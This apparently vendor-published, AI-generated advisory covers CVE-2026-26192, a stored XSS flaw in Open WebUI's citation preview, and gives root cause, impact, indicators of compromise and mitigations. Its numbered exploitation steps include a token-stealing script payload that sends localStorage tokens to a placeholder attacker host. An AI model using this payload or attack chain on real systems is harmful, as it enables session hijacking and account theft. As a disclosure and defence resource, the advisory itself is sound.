CVE-2026-26192: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-26192 is a stored Cross-Site Scripting (XSS) vulnerability in Open WebUI, a self-hosted AI platform, affecting all versions prior to 0.7.0 (≤0.6.43). The flaw allows authenticated users to inject malicious JavaScript via manipulated chat history document metadata, which executes in other users' browsers when citation previews are rendered. It was published on February 19, 2026, with a patch released in version 0.7.0. The CVSS v3.1 base score is 5.4 (Medium) per NVD/Feedly data, though the GitHub Security Advisory rates it 7.3 (High) with different scope assumptions (GitHub Advisory, Red Hat CVE).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in CitationModal.svelte (lines 163–170). When the html property is set to true within a document's metadata object in chat history, the frontend enters a code path that renders the document's content inside an <iframe> using srcdoc. Critically, the iframe is hardcoded with both allow-scripts and allow-same-origin sandbox attributes, which together negate sandboxing protections and allow injected scripts to access the parent page's origin. An authenticated attacker can set this property by intercepting and modifying the chat history save request via an HTTP proxy tool (GitHub Advisory, CitationModal Source).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who previews the weaponized citation, including users viewing a shared chat link. Low-privilege users are at risk of session hijacking via token exfiltration from local storage, while administrators face potential Remote Code Execution (RCE) through a chained exploit (referencing GHSA-w7xj-8fx7-wfch). The payload persists in chat history and propagates to all viewers of the shared chat, amplifying the blast radius beyond the initial target (GitHub Advisory).

Exploitability

A proof-of-concept (PoC) is publicly available via the GitHub Security Advisory, demonstrating the full attack chain using an HTTP proxy to intercept and modify the chat save request. There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privilege authenticated account and victim interaction (clicking the citation to preview it). The EPSS score is approximately 0.032% (0.000320), indicating low current exploitation probability (GitHub Advisory).

Exploitation steps

  1. Authenticate: Log in to the target Open WebUI instance with any low-privilege user account.
  2. Create a chat with a file upload: Initiate a chat session and attach a file to generate a citation/document reference in the AI response.
  3. Intercept the save request: Configure a browser HTTP proxy tool (e.g., Burp Suite, Caido, or OWASP ZAP) to intercept traffic, then edit and attempt to save the chat response.
  4. Modify document metadata: In the intercepted request body, locate the document object within the history.messages structure. Add "html": true to the document's metadata field and replace the document content with an XSS payload (e.g., <script>fetch('https://attacker.com/?t='+localStorage.getItem('token'))</script>).
  5. Forward the request: Allow the modified request to reach the server, which stores the weaponized chat history.
  6. Trigger execution: Share the chat link with a target user. When the victim expands the sources section and clicks the document citation to preview it, the malicious payload renders in the iframe and executes, exfiltrating their session token or performing other actions (GitHub Advisory).

Indicators of compromise

  • Network: Unexpected outbound HTTP requests from users' browsers to external/attacker-controlled domains originating from the Open WebUI application origin; unusual GET requests containing session tokens or local storage data in query parameters.
  • Logs: Open WebUI API logs showing a PUT or POST request to the chat history save endpoint with an unusually large or malformed document metadata payload containing "html": true.
  • Application Behavior: Citation modal rendering an iframe with srcdoc containing <script> tags or encoded JavaScript; users reporting unexpected logouts or session anomalies after previewing citations in shared chats.
  • File System / Storage: Chat history records in the database containing document metadata with "html": true alongside suspicious HTML/JavaScript content in the document body (GitHub Advisory).

Mitigation and workarounds

The primary remediation is to upgrade Open WebUI to version 0.7.0 or later, which fixes the vulnerability. As interim mitigations, restrict access to the Open WebUI instance to trusted and authenticated users only, and limit or disable the chat sharing feature to reduce exposure. Implementing a strict Content Security Policy (CSP) header that disallows inline scripts can serve as an additional defense layer. Administrators should audit existing chat histories and shared chats for document metadata containing "html": true as a sign of potential weaponization (GitHub Advisory).

Community reactions

The vulnerability was reported by security researcher gg0h and disclosed via GitHub's coordinated security advisory process on February 17–20, 2026. The advisory notes a potential chained RCE risk for admin accounts via a related advisory (GHSA-w7xj-8fx7-wfch), elevating the practical severity beyond the base CVSS score. No significant broader media coverage or notable social media discussion has been identified at this time (GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-hrfr-7729-443mCRITICAL9.1
  • Python logoPython
  • libp2p
NoNoNov 15, 2026
GHSA-p93c-6m6f-h588MEDIUM6.5
  • Python logoPython
  • recipes
NoNoNov 15, 2026
GHSA-7gg4-cm2v-2p42MEDIUM6.5
  • Python logoPython
  • recipes
NoNoNov 15, 2026
GHSA-4crj-r7q3-qxhwMEDIUM5.4
  • Python logoPython
  • recipes
NoNoNov 15, 2026
GHSA-c34j-hcg4-386mMEDIUM4.3
  • Python logoPython
  • recipes
NoNoNov 15, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management